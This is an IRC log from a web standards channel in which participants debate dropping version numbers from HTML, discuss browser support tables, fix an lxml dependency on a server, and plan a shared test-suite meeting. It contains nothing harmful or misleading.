jgraham: well i can't comment for my employer... :-P

[14:42:02.0000] <annevk>
espadrine, I think you can compare them. Chrome has a version number internally. HTML has a SVN revision number internally :)

[14:42:03.0000] <realityking>
jamesr_: I believe theres is a difference for document and processor conformance

[14:42:04.0000] <annevk>
espadrine, but for "marketing" they are Chrome and HTML

[14:42:05.0000] <foolip_>
several people seem to be unhappy that it's hard to know who supports what

[14:43:00.0000] <jgraham>
That could be an FAQ

[14:43:01.0000] <ment>
annevk: you have to understand there are more html parsers than those implemented in three major web browsers

[14:43:02.0000] <gsnedders>
It already is when everyone implements drafts

[14:43:03.0000] <annevk>
we have a poitner to caniuse.com in the FAQ

[14:43:04.0000] <jamesr_>
realityking: is it a difference that anybody in the real world cares about?

[14:43:05.0000] <annevk>
maybe html5test.com should be there too

[14:43:06.0000] <realityking>
in the future we might find that the video element is a bad idea and invent something better, how would you reflect that it isn't state of the art anymore?

[14:43:07.0000] <jcranmer>
"One inch has an exactly defined length, since long ago. Next big thing is a living standard for measuring. Ridiculous."

[14:43:08.0000] <foolip_>
I'll add the question, not the answer

[14:43:09.0000] <jgraham>
"Q) How do I know who supports what? A) Look at the results of the testsuite"

[14:43:10.0000] <jamesr_>
realityking: you would still have to specify the behavior of <video> so that implementations could be interoperable

[14:43:11.0000] <jcranmer>
well, the cm was redefined 4 or 5 times in the 1900s

[14:43:12.0000] <annevk>
ment, I do, I implemented one myself

[14:43:13.0000] <jamesr_>
assuming that <video> remains popular enough to not drop it

[14:44:00.0000] <ment>
annevk: and i don't have twenty monkeys surfing the web watching for latest html broken element trends

[14:44:01.0000] <annevk>
ment, for better or worse though until browsers have shipped implementations the draft cannot be considered stable

[14:44:02.0000] <realityking>
jamesr_: yes, that why I talked about document conformance

[14:44:03.0000] <ment>
annevk: so i will end up trying that in three different browsers figuring out how do _they_ parse it

[14:44:04.0000] <annevk>
ment, if we marked it stable without that it would be just like HTML4

[14:45:00.0000] <realityking>
I think for documents a versioned approach is desireable

[14:45:01.0000] <jamesr_>
realityking: nobody cares about document conformance

[14:45:02.0000] <ment>
annevk: yeah, but with dropping version numbers, you said that you are gonna be draft forever

[14:45:03.0000] <annevk>
ment, things might change, but most things will be fairly stable

[14:45:04.0000] <jgraham>
realityking: You know, nothing rally has changed here. You might have a HTML3.2 document that is not state of the art anymore. How does it help to say 'this is valid HTML3.2'?"

[14:45:05.0000] <annevk>
ment, this is no different from CSS Modules amending CSS 2.1 though

[14:45:06.0000] <ment>
annevk: sure

[14:45:07.0000] <realityking>
jamesr_: so you're saying it doesn't matter what I write in my HTML docs (inventing new elements, attributes and so on)?

[14:46:00.0000] <annevk>
ment, change will always happen

[14:46:01.0000] <annevk>
when change stops, something better will have come along

[14:46:02.0000] <espadrine>
realityking: as long as implementors ship with improvements, there is something to add to the html spec.

[14:46:03.0000] <jamesr_>
realityking: you aren't listening

[14:46:04.0000] <jgraham>
realityking: I believe that's called the fallacy of the excluded middle or something

[14:47:00.0000] <realityking>
espadrine: I'm not proposing not to add to the specs, just that there should be milestones or something

[14:47:01.0000] <foolip_>
hmm, the structure of the FAQ is a bit messy after todays edits

[14:47:02.0000] <realityking>
jgraham: sorry not a native speaker

[14:47:03.0000] <realityking>
I have no clue what your last sentence is supposed to mean

[14:48:00.0000] <ment>
annevk: i'm not against change, but the progress of html/css/js could be described as perpetual retardation

[14:48:01.0000] <realityking>
of course no HTML3.2 document is state of the art anymore

[14:48:02.0000] <jamesr_>
no fixed version of any HTML specification will ever be state of the art

[14:48:03.0000] <foolip_>
I seriously doubt "If you do not publish snapshots every now and again, you are Orwellian in your recognition of the role the mistakes of the past play into the present and the future." is a *frequently* asked question :)

[14:48:04.0000] <annevk>
/me looks up that term

[14:48:05.0000] <jgraham>
The fallacy of the excluded middle is when you say "since I can't do X you are saying I have to do the opposite of X", ignoring all the possibilities between X and its opposite

[14:48:06.0000] <realityking>
ah thanks

[14:49:00.0000] <jgraham>
foolip_: Well it's not even a question, so no

[14:49:01.0000] <realityking>
I don't doubt that the standard process takes too long for innovations

[14:49:02.0000] <annevk>
ment, can't really find what that means exactly, but I am not sure if that is true

[14:49:03.0000] <jcranmer>
well, what matters is not what the standard says

[14:50:00.0000] <realityking>
but how do I know what features are stable when stuff is constantly added to the spec?

[14:50:01.0000] <jcranmer>
it matters what implementors actually do

[14:50:02.0000] <annevk>
ment, once we have stable implementations in browsers there is no need to change

[14:50:03.0000] <ment>
annevk: standards are supposed to make order in things, not to incorporate every retarded thing some developer came up with at microsoft/google/mozilla

[14:50:04.0000] <jcranmer>
in an ideal world, the standard is what everyone does

[14:50:05.0000] <jgraham>
realityking: The goal is to have per section markers

[14:50:06.0000] <annevk>
ment, with the parser anyway, the only changes we will make to the parser will be for new features

[14:50:07.0000] <foolip_>
realityking, this just added to the FAQ: http://wiki.whatwg.org/wiki/FAQ#How_can_web_developers_know_which_features_are_safe_to_use.3F

[14:50:08.0000] <jcranmer>
in practice, people pick and choose for what they need to have done

[14:50:09.0000] <annevk>
ment, it just takes a while to get the parser to that state

[14:50:10.0000] <annevk>
ment, where it is stable

[14:50:11.0000] <espadrine>
realityking:  each implementor has its support table.

[14:50:12.0000] <jgraham>
realityking: But in practice, if there are multiple, independent implementations of something such that content relies on it, it is stable

[14:51:00.0000] <jcranmer>
for example, officially NNTP is UTF-8; in practice, that is most certainly not a universal statement

[14:51:01.0000] <jgraham>
Stability is enforced by the market, not some artifical declaration

[14:51:02.0000] <realityking>
espadrine: yeah but a tleasts Webkits sucks

[14:51:03.0000] <annevk>
ment, if you have ideas on how to approach this differently btw please do email the list or something

[14:51:04.0000] <realityking>
of course I can change every single document in every browser

[14:52:00.0000] <jcranmer>
honestly

[14:52:01.0000] <jcranmer>
THIS ISN'T A CHANGE FROM HOW THINGS WERE DONE BEFORE

[14:52:02.0000] <realityking>
however if I don't limit myself to the big 5 this gets tiresome

[14:52:03.0000] <jgraham>
In this case, the effect of the market is that browser vendors cannot break functionality that content relies on

[14:52:04.0000] <jgraham>
However dumb it later turns out to be

[14:52:05.0000] <jgraham>
So all that stuff is stable

[14:52:06.0000] <jcranmer>
it's just more an actual admission of fact that the real world is so unlike the pure ideal

[14:52:07.0000] <annevk>
ment, it's pretty clear we do not have all the answers here, we're still evolving what we are doing and how we are doing it

[14:52:08.0000] <jcranmer>
that we're not going to bother to try to paint this ideal picture of the wrold

[14:52:09.0000] <realityking>
I have currently now way of knowing whether for a given feature in the HTML spec one or more browsers exists that implement this according to the standard

[14:53:00.0000] <ment>
annevk: ok, let me explain this on an example

[14:53:01.0000] <jgraham>
realityking: Testsuites

[14:53:02.0000] <annevk>
realityking, caniuse.com

[14:53:03.0000] <jgraham>
The fact that the testsuite is currently rubbish is a problem

[14:53:04.0000] <jgraham>
But in the interim caniuse.com and so fill a gap

[14:53:05.0000] <espadrine>
jcranmer: it can also lead to a better model. Maybe html will turn out to mean "the cutting edge" for everybody, and there will be stable releases every now and then.

[14:53:06.0000] <ment>
annevk: i'm not sure whether in US exist something like common english grammar book

[14:53:07.0000] <realityking>
realityking: I know that site and use it extensively. But is that really what we want?

[14:54:00.0000] <bfrohs>
Y'know, all of this reminds me of the recent "news" that most people's horoscopes have "changed" -- Those that understood it realized nothing had changed. Those that didn't freaked out.

[14:54:01.0000] <ment>
annevk: but in my country there is a book describing how grammatically correct language looks like released every two years or so

[14:54:02.0000] <ment>
annevk: as language changes, the book is of course updated

[14:55:00.0000] <realityking>
Personally I'd like to get a spec that defines things in a way that is unlikely to change in the future for which at least one (preferable more) implementations exist that follow the spec to the letter (that there always will be bugs set aside)

[14:55:01.0000] <jcranmer>
ment: English has no official language authority

[14:55:02.0000] <paul_irish>
realityking: also feature detection..

[14:55:03.0000] <ment>
annevk: but they rarely incorporate into grammar some fad like lolcat-speak

[14:55:04.0000] <jcranmer>
so English grammar is pretty much common consensus

[14:55:05.0000] <jgraham>
realityking: If you use the site extensivly, it seems to be waht you want, yes

[14:56:00.0000] <ment>
annevk: and html5 seems to be incorporating every thing at least two browsers implemented, no matter how stupid that idea is

[14:56:01.0000] <annevk>
ment, we have such a thing too

[14:56:02.0000] <jcranmer>
even other language authorities will sometimes have to bow to public consensus

[14:56:03.0000] <ment>
jcranmer: well, we are a small country

[14:56:04.0000] <realityking>
jgraham: no it's not what I want, it is the least worse alternative

[14:56:05.0000] <ment>
jcranmer: but that doesn't mean it has to encourage such practices

[14:56:06.0000] <jgraham>
realityking: I'm quite skeptical of that

[14:56:07.0000] <jcranmer>
whatever governments think

[14:56:08.0000] <jcranmer>
language evolves on consensus

[14:57:00.0000] <jcranmer>
yet somehow, I can still understand everybody

[14:57:01.0000] <ment>
that works human to human

[14:57:02.0000] <_bga>
lol http://twitpic.com/3rtdz2

[14:57:03.0000] <ment>
not human to machine

[14:57:04.0000] <jgraham>
realityking: If something is labelled as a "standard" but only one browser has full support, you still need caniuse.com to find out what you can safely use

[14:57:05.0000] <realityking>
paul_irish: is the best idea I've learned thus far and of course will also be required with stable documents every couple of years (because that won't mean that every browser has implemented something)

[14:57:06.0000] <annevk>
ment, I think we have only added things that are either useful or need to be implemented to support the web

[14:57:07.0000] <jcranmer>
the point is that "natural" evolution is not world-shatteringly different

[14:57:08.0000] <realityking>
the bad thing is that is usually requires javascript

[14:58:00.0000] <jgraham>
If all browsers have support for things that didn't make the standard, you still need caniuse.com to tell you what you can really use

[14:58:01.0000] <annevk>
ment, but of course opinions differ on "useful"

[14:58:02.0000] <jcranmer>
it's not like what is today a "computer" is tomorrow "shalgut"

[14:58:03.0000] <annevk>
ment, but if you think certain features should be taken out you should certainly say so

[14:58:04.0000] <jcranmer>
similarly, I expect HTML to evolve like that

[14:58:05.0000] <jcranmer>
gradual changes over time

[14:58:06.0000] <jgraham>
Getting all browsers to support exactly one version of a standard in common is not a stable equlibrium

[14:59:00.0000] <realityking>
jgraham: true, that's why it is the least worst alternative, but at least I wouldn't have to fear things change in the spec

[14:59:01.0000] <jgraham>
Or indeed an equlibrium at all

[14:59:02.0000] <jcranmer>
a primary goal of HTML is to specify what *browsers already do*

[14:59:03.0000] <jgraham>
realityking: The spec would still change

[14:59:04.0000] <ment>
annevk: whatwg sometimes also comes up with own creations ... like the websockets! wtf was that?

[14:59:05.0000] <realityking>
like I'd rather have a feature becomeing obsolete (or even be removed when possible) than a syntax change

[14:59:06.0000] <jcranmer>
if browsers do stuff like it works now... it won't change

[15:00:00.0000] <jgraham>
It's just it would occasionally go through some pointless process of being labelled with a new number

[15:00:01.0000] <jgraham>
You can't remove feature

[15:00:02.0000] <jcranmer>
CSS2.1 only removed features because no one implemented them

[15:00:03.0000] <jgraham>
And you can't really make syntax changes

[15:00:04.0000] <realityking>
jcranmer: case in point, if I remember correctly the canvas element started out as an empty element

[15:00:05.0000] <jgraham>
Yeah, if no one implemented a feature it is different

[15:00:06.0000] <realityking>
now it is not

[15:01:00.0000] <jcranmer>
so?

[15:01:01.0000] <annevk>
ment, you don't like WebSockets?

[15:01:02.0000] <jcranmer>
if you don't know what its contents mean, you ignore them

[15:01:03.0000] <jgraham>
realityking: Yes, experimental implementations of things are possible and have to change

[15:01:04.0000] <jgraham>
the trick is to make the changes before content relies on the feature

[15:01:05.0000] <jcranmer>
if you do know, you can handle that case

[15:02:00.0000] <jgraham>
after that you lose the early fluidity and things solidify into the long term form whether or not that is a good one

[15:02:01.0000] <foolip_>
well, the reddit comments were a bit better than slashdot at least

[15:02:02.0000] <jgraham>
foolip_: Damned by faint praise there

[15:02:03.0000] <ment>
annevk: well i don't mind the concept, but i don't understand why the hell it has the syntax it has (the worst from http + something that makes it actually incompatible (in most cases) with http)

[15:02:04.0000] <realityking>
but if I look into the HTML spec, see a cool feature, test it in say Webkit and Firefox and everything works shiny and 1 year later someone decides to change the syntax because the feature hasn't taken off yet? Then I may be screwed

[15:03:00.0000] <annevk>
ment, maybe you should check that out then ;)

[15:03:01.0000] <jgraham>
Yep. But you using the feature is it taking off somewhat

[15:03:02.0000] <jgraham>
Like I say, we try to do per-section markers

[15:03:03.0000] <annevk>
ment, I mean, I hope you realize we are not clueless and do things for a reason

[15:04:00.0000] <jgraham>
and two different browser engines with interoperable implentations is usually a pretty good indication that things will remain more or less stable

[15:04:01.0000] <realityking>
For CSS that isn't to bad, if I use something with a vendor prefix I know that this may change later and I need to be ready to modify it. HTML lacks a mechanism like this.

[15:04:02.0000] <realityking>
jgraham: per section markers would certainly be helpful

[15:05:00.0000] <espadrine>
realityking: you can't use the spec as your only documentation.

[15:05:01.0000] <ment>
annevk: i understand you are not clueless, but on the other hand you might have an impression that you know "what developers want"

[15:05:02.0000] <espadrine>
You never could.

[15:05:03.0000] <realityking>
but then you could just take the stable parts every two years and release it as HTMLX

[15:05:04.0000] <jgraham>
realityking: They exist. The only dfficulty is keeping them up-to-date

[15:06:00.0000] <realityking>
jgraham: do you mean the small browser icons to the right in the WHATWG version?

[15:06:01.0000] <annevk>
ment, I typically ask them, whenever I get the chance

[15:06:02.0000] <realityking>
aeh left

[15:06:03.0000] <ment>
annevk: ok, why haven't you abolished that ghastly http syntax?

[15:07:00.0000] <annevk>
ment, and it was actually a developer who came up with most of WebSockets

[15:08:00.0000] <realityking>
jgraham: overall I'd have a lot less (or even no) issues with this if something like the vendor prefixes were adopted for HTML

[15:08:01.0000] <annevk>
ment, it is needed to work with existing intermediaries; but the design of the protocol might drastically change

[15:08:02.0000] <realityking>
I realize that this is hard due to the way HTML is parsed

[15:08:03.0000] <realityking>
and it isn't easy to use fallbacks

[15:08:04.0000] <ment>
annevk: so the developer took existing http parser and bent it, right?

[15:08:05.0000] <annevk>
ment, it is likely to become more complicated due to the IETF

[15:08:06.0000] <annevk>
ment, no

[15:08:07.0000] <ment>
annevk: meanwhile the existing intermediaries are going to implement that by bending their own http parsers

[15:08:08.0000] <realityking>
that way I'd know when using an experimental implementation

[15:08:09.0000] <annevk>
ment, no they're not

[15:09:00.0000] <ment>
annevk: of course no-one is going to do it precisely and it will create many security holes along the way

[15:09:01.0000] <ment>
annevk: yes they are

[15:09:02.0000] <annevk>
no, because the current protocol is abandoned

[15:10:00.0000] <ment>
uh, which one?

[15:10:01.0000] <annevk>
I'm going to sleep

[15:10:02.0000] <ment>
well, good night

[15:11:00.0000] <annevk>
g'night

[15:15:00.0000] <Hixie>
hm, complete/ isn't updating anymore

[15:15:01.0000] <Hixie>
weird

[15:21:00.0000] <Hixie>
annevk: something seems broken with kaboom.cgi

[15:21:01.0000] <Hixie>
annevk: it doesn't seem to be updating from svn anymore or something

[15:22:00.0000] <Hixie>
annevk: not sure what's up

[15:22:01.0000] <Hixie>
annevk: doesn't seem to be a problem on my side

[15:24:00.0000] <annevk>
I should really be sleeping

[15:24:01.0000] <Hixie>
no worris

[15:24:02.0000] <Hixie>
it can wait

[15:24:03.0000] <annevk>
but euh, I don't get any error messages here

[15:25:00.0000] <annevk>
see pm

[15:26:00.0000] <Hixie>
some of the arguments against unversioned specs seem to be more strongly arguments against versioning.

[15:27:00.0000] <Hixie>
e.g. http://www.reddit.com/r/programming/comments/f5e8k/yesterday_the_w3c_proposed_a_html5_logo_with_a/c1dk1oo

[15:30:00.0000] <SlexAxton>
haha Hixie - rule number one - never read reddit or hacker news if you care about the subject matter

[15:30:01.0000] <realityking>
The idea is that you hopefully don't find any more errors in a stable spec

[15:31:00.0000] <realityking>
that isn't always true is of course a valid point

[15:31:01.0000] <MikeSmith>
I like to read reddit because it reassures me that even as stupid as I am, there are many people out there way stupider than me

[15:31:02.0000] <realityking>
but having cutting edge features, with little or no implementation experience in the spec certainly doesn't help

[15:32:00.0000] <Hixie>
i kinda like reddit personally :-)

[15:32:01.0000] <Hixie>
but whatever :-)

[15:32:02.0000] <SlexAxton>
oh, im a fan

[15:32:03.0000] <SlexAxton>
but anytime i release anything, or take part in something

[15:32:04.0000] <SlexAxton>
i have to ignore the post about it

[15:32:05.0000] <SlexAxton>
because it makes me rage

[15:32:06.0000] <SlexAxton>
and i like to keep a pokerface

[15:33:00.0000] <SlexAxton>
 /reddit

[15:33:01.0000] <Hixie>
i just answer as many questions as i can :-)

[15:33:02.0000] <Hixie>
no need to rage :-)

[15:33:03.0000] <SlexAxton>
they aren't questions...

[15:33:04.0000] <SlexAxton>
(i was using reddit terms...)

[15:35:00.0000] <SlexAxton>
fwiw Hixie, I think it was a splendid move

[15:35:01.0000] <SlexAxton>
though I thought we already did that with <!DoCTyPe hTmL>

[15:35:02.0000] <Hixie>
if someone on reddit says something i disagree with, i implicitly treat it as a question of the form "so why am i wrong?" :-P

[15:36:00.0000] <Hixie>
yeah we basically had dropped versions from the language a while ago

[15:36:01.0000] <Hixie>
this just drops it from the spec too

[15:36:02.0000] <SlexAxton>
got it

[15:37:00.0000] <wilhelm>
I can see where that commenter, and others of similar opinions, are coming from. When wearing the author hat, I frequently use the HTML validator as one of many regression tests on my own work. My code varies, but the validator is assumed to be static. That gives some perceived safety.

[15:37:01.0000] <wilhelm>
Wearing the browser vendor hat, the issue looks different. (c:

[15:38:00.0000] <Hixie>
yeah, that's certainly one interpretation, though they often seem to phrase it in terms of browsers specifically

[15:38:01.0000] <gsnedders>
Waitwhat, wilhelm spoke in here? For the first time in how long? :P

[15:38:02.0000] <Hixie>
(i covered that the validator issue in the faq)

[15:38:03.0000] <Hixie>
(iirc)

[15:38:04.0000] <SlexAxton>
(yrc)

[15:39:00.0000] <MikeSmith>
yay for visit from wilhelm

[15:39:01.0000] <MikeSmith>
wilhelm please come back to Tokyo for a visit

[15:39:02.0000] <annevk>
wilhelm!

[15:40:00.0000] <wilhelm>
gsnedders: It's been a while, yes. (c:

[15:40:01.0000] <dglazkov>
Hixie: something to chew on: http://wiki.whatwg.org/wiki/Component_Model_Brainstorming#The_Bladerunner_Strawman

[15:40:02.0000] <wilhelm>
MikeSmith: I was there most of this autumn! I'll be back again. (c:

[15:40:03.0000] <gsnedders>
wilhelm: I'm not sure I've seen you in here since you convinced me to apply for Opera :)

[15:41:00.0000] <Hixie>
wilhelm: dude i still haven't found players for 1856, if you're going anywhere, come here! :-P

[15:41:01.0000] <SlexAxton>
Hixie: I appreciate the 'sleight of hand' comment about how if you justed willed browsers to support something crazy, they wouldn't.

[15:41:02.0000] <SlexAxton>
use that one more

[15:41:03.0000] <Hixie>
heh

[15:41:04.0000] <Hixie>
yeah, i liked the phrasing on that one

[15:41:05.0000] <annevk>
so the problem is that there is no lxml installed

[15:42:00.0000] <annevk>
and installing lxml via pip install or easy_install complains about missing gcc support

[15:42:01.0000] <Hixie>
SlexAxton: it's basically the same sentiment as the "i don't want to write dry scifi" thing i often say, but i might use this phrasing more

[15:42:02.0000] <Hixie>
annevk: why did it break? did lxml get uninstalled?

[15:43:00.0000] <annevk>
yeah, I set up Python in a different way and forgot I had that dependency

[15:43:01.0000] <wilhelm>
gsnedders: That sounds about right. I haven't been able to participate in much standards work for years, for various reasons. I'm slowly starting to follow the discussions again now. (c:

[15:43:02.0000] <annevk>
/me finds http://gsnedders.com/installing-lxml-on-dreamhost

[15:44:00.0000] <SlexAxton>
Hixie: yea, maybe add in examples of how half the stuff in html5 was straight out of ie5, etc, and how you just spec'd it.

[15:44:01.0000] <SlexAxton>
a lot of people don't realize that a lot of the new stuff has been supported for ages

[15:44:02.0000] <gsnedders>
annevk: heheh.

[15:44:03.0000] <gsnedders>
annevk: no idea if that's up-to-date or anything

[15:44:04.0000] <wilhelm>
Hixie: Hah. Same problem on this end. People just don't appreciate how wonderful trains are.

[15:44:05.0000] <wilhelm>
If a game has trains in it, it's almost certainly good.

[15:45:00.0000] <Hixie>
wilhelm: probably doesn't help that i always describe it as a terrible game, but man do i want to play it again

[15:45:01.0000] <gsnedders>
/me is curious about this game now

[15:45:02.0000] <wilhelm>
We should do TTD again too!

[15:46:00.0000] <Hixie>
sure

[15:46:01.0000] <Hixie>
let me know a few weeks in advance

[15:46:02.0000] <Hixie>
i have a big computer at home now so i can actually play games and stuff

[15:46:03.0000] <wilhelm>
Ooo.

[15:46:04.0000] <Hixie>
(big as opposed to a laptop)

[15:47:00.0000] <annevk>
/me gives it a try


2011-01-21
[16:13:00.0000] <annevk>
fixed

[16:13:01.0000] <annevk>
for a while it installed lxml 2.3 beta 1 which did not work

[16:13:02.0000] <annevk>
so I had to figure out you had to do this instead

[16:13:03.0000] <annevk>
easy_install lxml==2.2.2

[16:13:04.0000] <Hixie>
thanks dude

[16:13:05.0000] <annevk>
as easy_install lxml 2.2.2 does nothing o_O

[16:57:00.0000] <Hixie>
hey can someone who knows how the webappswg handles test suites reply to drew's e-mail about where he should put his web workers tests?

[16:57:01.0000] <Hixie>
i haven't been following how we do tests since, well, i have no time to work on tests and wrote the spec anyway so shouldn't really write the tests for it

[16:58:00.0000] <othermaciej>
I wish I knew how the web apps wg handles tests

[17:00:00.0000] <gsnedders>
/me realizes with his travel plans he's going to have fun renewing his passport… yay :\

[17:01:00.0000] <wilhelm>
Moving back to Sweden or just visiting? :P

[17:30:00.0000] <MikeSmith>
I think the webapps WG as a whole doesn't, and that within the group, it depends on which spec

[17:30:01.0000] <MikeSmith>
but I think we need to change that

[17:31:00.0000] <MikeSmith>
not just for webapps, but across groups that are working on Web platform / browser-technology specs

[17:32:00.0000] <MikeSmith>
we all keep talking about this, but I think we need to actually make it happen this year

[17:32:01.0000] <MikeSmith>
it being, setting up a common mechanism for managing and running test suites

[17:34:00.0000] <MikeSmith>
anyway, the answer for now is that he is encouraged to check in the tests here:

[17:34:01.0000] <MikeSmith>
http://test.w3.org/html/tests/submission/

[17:35:00.0000] <MikeSmith>
oh

[17:35:01.0000] <MikeSmith>
hmm, yeah, that's under /html

[17:36:00.0000] <MikeSmith>
I'll set up a corresponding one under http://test.w3.org/webapps/tests/

[17:38:00.0000] <MikeSmith>
hmm, but I see anne set up a tests dir under http://dvcs.w3.org/hg/webapps/ already too

[17:46:00.0000] <MikeSmith>
http://test.w3.org/webapps/tests/submission/

[17:47:00.0000] <MikeSmith>
http://dvcs.w3.org/hg/webapps/file/tip/tests/submission/

[17:51:00.0000] <wilhelm>
MikeSmith: For running tests, the W3C really should standardize on a handful of sane test runners appropriate for each test type. We've imported a large number of tests from others, modifying 19 different test frameworks to talk to our central test systems.

[17:51:01.0000] <MikeSmith>
wilhelm: agreed

[17:51:02.0000] <MikeSmith>
pretty much everybody agrees

[17:51:03.0000] <MikeSmith>
we just need to finally make it happen

[17:52:00.0000] <MikeSmith>
I expect to be spending time myself this year on helping to do that

[17:52:01.0000] <wilhelm>
Put a tester from each browser vendor in a room and don't let them out until they agree on something that works for all. (c:

[17:53:00.0000] <MikeSmith>
yeah

[17:53:01.0000] <MikeSmith>
this is something that could genuinely benefit from f2f time

[17:53:02.0000] <MikeSmith>
so start planning for a trip to SF Bay area in the next few months, I guess

[17:54:00.0000] <wilhelm>
The different JS test frameworks aren't _that_ different from each other, though. I'm more concerned about testing stuff that ordinarly would require some soft of user interaction. At Opera, we use the Watir API for such tests. We have about 500-600 tests of HTML form interaction, for example. That would be good to share.

[17:54:01.0000] <wilhelm>
MikeSmith: Send me an invitation I can show to my boss, and I'd be happy to come over. (c:

[17:54:02.0000] <MikeSmith>
will do

[17:54:03.0000] <MikeSmith>
and understood, about the user interaction tests

[17:55:00.0000] <Hixie>
hey if all you guys need is a room for a day, i can get you one, let me know

[17:55:01.0000] <wilhelm>
Here's the framework we use for that: http://operawatir.org/

[17:55:02.0000] <Hixie>
(or TabAtkins can, either way)

[17:55:03.0000] <MikeSmith>
Hixie: that would be great

[17:55:04.0000] <MikeSmith>
ok

[17:55:05.0000] <wilhelm>
Our implementation of WebDriver will also be made public Real Soon Now. Both those APIs are moderately well supported by all browsers now.

[17:56:00.0000] <MikeSmith>
I will talk to plh and start getting a f2f plan together

[17:56:01.0000] <Hixie>
give us plenty of notice, though, the meeting rooms are notoriously hard to book cos we're growing so fast :-)

[17:56:02.0000] <Hixie>
cool

[17:56:03.0000] <TabAtkins>
Indeed, getting a room for a day is possible with sufficient forwarning.

[17:57:00.0000] <TabAtkins>
Hixie: Crittenden is usually open, given a week or so of notice.

[17:57:01.0000] <Hixie>
well yeah, but you don't want to have to meet it crittenden!

[17:57:02.0000] <TabAtkins>
What?  Why?  It's just down the road.

[17:57:03.0000] <wilhelm>
…

[17:57:04.0000] <Hixie>
the dinosaur is outside b43!

[17:57:05.0000] <Hixie>
it's like a mile away

[17:57:06.0000] <wilhelm>
Is it full of critters?

[17:57:07.0000] <TabAtkins>
Sure, so you start there.  And then you take a refreshing walk to Crittenden.

[17:57:08.0000] <TabAtkins>
Or, even better, CONFERENCE BIKE.

[17:58:00.0000] <Hixie>
hah, i'd love to see the look on a working group's face as we inform them of how they're getting to their meeting place :-P

[17:59:00.0000] <MikeSmith>
TabAtkins: we can plan well ahead to do it when we can be sure we get as many of the right people attending as we can

[17:59:01.0000] <MikeSmith>
and when they have time

[18:00:00.0000] <MikeSmith>
e.g., maybe we would not want to do this until after FF4 ships

[18:00:01.0000] <MikeSmith>
because maybe they are not going to have a lot of time freed up until then

[18:00:02.0000] <Hixie>
you don't want too many people, more than two or so per vendor and it'll quickly get out of hand

[18:00:03.0000] <TabAtkins>
kk

[18:00:04.0000] <TabAtkins>
Yes.

[18:00:05.0000] <TabAtkins>
Never put more than a dozen people in a room together and expect to get anything done.

[18:01:00.0000] <MikeSmith>
yeah, true

[18:01:01.0000] <MikeSmith>
we can make that one of the ground rules I guess

[18:01:02.0000] <MikeSmith>
2 reps per vendor at the actual f2f

[18:02:00.0000] <MikeSmith>
though it would also be a good chance to have some actual social time together around it

[18:02:01.0000] <Hixie>
opera can have more reps, rotating them in during the day, so that i can see more of them :-P

[18:02:02.0000] <MikeSmith>
yeah, I was going to say, it would be hard to limit the number  of Opera people

[18:03:00.0000] <wilhelm>
:P

[18:03:01.0000] <Hixie>
anyway the real reason i need notice is so that i can book two rooms, one for the meeting for y'all, and one for us to play some board games

[18:03:02.0000] <MikeSmith>
heh

[18:04:00.0000] <Hixie>
it's hard to find good board game rooms that are free and near good meeting rooms :-)

[18:04:01.0000] <TabAtkins>
I'd think the 4-person meeting rooms are good for that?

[18:04:02.0000] <Hixie>
most meeting rooms have desks with cables and stuff for laptops which board games relly don't like

[18:04:03.0000] <Hixie>
TabAtkins: the round tables have cable holes in the middle

[18:05:00.0000] <TabAtkins>
ah, yeah

[18:05:01.0000] <Hixie>
you really want actual desks you can push together

[18:06:00.0000] <wilhelm>
We could combine the two. Whoever wins 1856 gets to decide which test frameworks to use.

[18:07:00.0000] <Hixie>
lol

[18:07:01.0000] <Hixie>
i just want to play, i don't care about the test framework :-)

[18:11:00.0000] <MikeSmith>
sounds like you need some optimized gaming rooms

[18:14:00.0000] <MikeSmith>
hmm, microsyntax for valid e-mail address changing…

[18:15:00.0000] <MikeSmith>
I think the v.nu checker for e-mail addresses was not up to date with spec anyway

[18:16:00.0000] <Hixie>
not a high priority change anyway

[18:16:01.0000] <Hixie>
i was tempted to reject it in fact

[18:27:00.0000] <MikeSmith>
in other news, we do have support for checking dropzone now

[18:28:00.0000] <MikeSmith>
and the way it's implemented is a good example of tradeoffs between trying to have something useful in the base relaxng schema, along with additional (Java) code for checking other constraints

[18:29:00.0000] <Hixie>
cool

[18:33:00.0000] <MikeSmith>
in this case, the schema handles checking whether it the individual keywords are valid -- exactly one of copy, move, link and then any number of  f:.* and/or s.*

[18:33:01.0000] <MikeSmith>
and the Java code handles checking whether there are any duplicates for any of the f: or s: keywords

[18:33:02.0000] <MikeSmith>
but

[18:33:03.0000] <Hixie>
fancy schema

[18:34:00.0000] <MikeSmith>
it could be implemented by adding a specific "datazone" datatype to the v.nu HTML datatype library, and putting all the checking in that

[18:34:01.0000] <MikeSmith>
the advantage of that would be better error reporting

[18:35:00.0000] <MikeSmith>
because then we get fine-grained control of the text of the error messages

[18:36:00.0000] <MikeSmith>
s/datazone/dropzone/

[18:36:01.0000] <MikeSmith>
anyway, whereas with putting checks in the schema, we get more generic error messages that are less helpful to users in, e.g.,  pinpointing which keyword in the dropzone value is the offending one

[18:37:00.0000] <MikeSmith>
I guess there has been a progression in v.nu away from doing checks in the schema just because they can be

[18:38:00.0000] <MikeSmith>
and instead moving them into the Java code where we have more control and can emit better error messages

[18:38:01.0000] <MikeSmith>
I think for users of the different parts, it will end up as sort of a case of progressive enhancement

[18:39:00.0000] <MikeSmith>
or graceful degradation

[18:40:00.0000] <MikeSmith>
in that, if somebody wants to use the schema by itself, without the datatype library -- e.g., for use in a context-sensitive editor -- then they can't expect us to optimize the schema for that use case

[18:41:00.0000] <MikeSmith>
in fact, we and they are really better off if somebody produces a different schema that is optimized for that use case

[18:41:01.0000] <MikeSmith>
which is what we will have eventually, I'm sure

[20:37:00.0000] <zcorpan>
/me shamelessly steals some styles from developers.whatwg.org for http://simon.html5.org/html5-elements

[20:42:00.0000] <benschwarz_>
zcorpan: what do you need? :)

[20:44:00.0000] <zcorpan>
benschwarz_: dunno, i just copied some style rules. does it look ok?

[20:44:01.0000] <benschwarz_>
the headers look a bit over baring

[20:45:00.0000] <benschwarz_>
but nice to have it themed similarily

[20:45:01.0000] <benschwarz_>
I saw some hits from your site yesterday ( I added stats overnight )

[20:45:02.0000] <zcorpan>
should i use the h4 style instead?

[20:47:00.0000] <benschwarz_>
zcorpan: leave it I think

[20:47:01.0000] <benschwarz_>
the elements look big

[20:47:02.0000] <benschwarz_>
you know what would rule? a find as you type search

[20:47:03.0000] <benschwarz_>
I'm going to do one for the specs myself

[20:47:04.0000] <benschwarz_>
when I get to it

[20:48:00.0000] <zcorpan>
isn't find as you type a browser feature?

[20:48:01.0000] <zcorpan>
benschwarz_: i think your <code>s look too small :P

[20:49:00.0000] <artenix>
Hi

[20:49:01.0000] <benschwarz_>
